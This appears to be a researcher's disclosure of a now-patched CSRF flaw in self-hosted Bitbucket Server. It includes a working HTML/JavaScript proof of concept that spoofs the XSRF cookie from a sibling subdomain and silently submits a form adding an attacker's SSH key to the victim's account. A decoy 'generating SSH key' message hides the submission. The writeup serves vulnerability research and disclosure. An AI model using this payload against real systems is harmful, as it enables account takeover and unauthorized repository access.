In October 2022 I found a pretty specific CSRF vulnerability on Bitbucket Server (the self hosted version). Since it has now been patched*, here are the details.
Assuming your bitbucket instance is hosted on a shared superdomain, e.g. bitbucket.corpo.internal
and that attacker can control javascript execution on a sibling domain, e.g. evil.playground.corpo.internal
.
By setting a superdomain cookie, an attacker could spoof the atl.xsrf.token
from a sibling domain and thereby bypass the CSRF protection on the page for adding an SSH key to your account (/plugins/servlet/ssh/account/keys/add
).
By abusing this, an attacker with some internal access could via a malicious link add their SSH key to a victim account.
Words are hard, so here is a gif demoing the attack.
Here’s a proof of concept that hopefully explains it better than a lengthy essay.
<!-- Host this on some.other.subdomain.corpo.internal -->
<!-- Host bitbucket server on bitbucket.corpo.internal -->
<html>
<head>
<meta charset="utf8" />
</head>
<script>
document.cookie =
"atl.xsrf.token=13371337133713371337133713371337;expires=1797039587484;domain=corpo.internal;path=/";
// Setting the path here seems to put this cookie first, nice!
document.cookie =
"atl.xsrf.token=13371337133713371337133713371337;expires=1797039587484;domain=corpo.internal;path=/plugins/servlet/ssh/account/keys/add";
function onload() {
const els = document.getElementsByTagName("form");
for (let i = 0; i < els.length; i++) els[i].submit();
}
</script>
<body onload="onload()" style="padding: 300px">
<form
style="display: none"
id="ssh-key"
method="post"
action="https://bitbucket.corpo.internal/plugins/servlet/ssh/account/keys/add"
target="result"
>
<textarea name="text" id="hehe">
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTbs0XOd+B3vEB86v18GRIMqZCk9VQfARFUPw26cfigSDZsl5HO2RwUwuwpGs+FREPRqPQeYMhNmwo/f+IFrm344VlKchDVBf7zFQuNK1SMJDfh6ixGEE7VRru9ZgolgUBQK5m31JMuyAi88ws6AIV18ZVcQmB3U2dh6a1Z+lGpX56Ih7MorFt9RwCByEol/ph6x2DYsonRr7esHp73lxHsg0v7WalXxaJzk2VV+RMonIdFJB1fYZsDtI4ZWNf3MRtclbQ30WcCpYdLtQ6BJ1xzF5KLXQFEMUgGPcEkRED4/eoZR6eSxJAE6esHOuAgpuy0f3pdh2ATSPhCZIe4G93p3qte3VPrC2Qf2mDCTtgpnz63lL/6Nmi66UxKHDaOzj1wb++GTM03fakr5cI7KCXxWDdYIe8RdbKH+ZzWWSautnRRlnqGIJCut0cKjd+zJHG3bS+xbkRVpQQtrNDyddZs+TL9s3+1m0JbLjxwadI0eSj3Z5gbTee9UlS3cpOpW0= hehehe</textarea
>
<input
type="text"
name="atl_token"
value="13371337133713371337133713371337"
/>
<input type="submit" name="Add+key" />
</form>
<h1 id="msg">Generating Super Secure SSH key for you...</h1>
<iframe style="display: none" id="result" name="result"></iframe>
</body>
</html>
To actually run it together with bitbucket, you can try a dockerized setup I packaged: /zips/bitbucket-ssh-csrf-poc.zip.
I reported the issue via bugcrowd on October 21st, but it was closed as a duplicate.
The vulnerability was not assigned a CVE, and it did not get published as a security fix. https://jira.atlassian.com/browse/BSERV-13548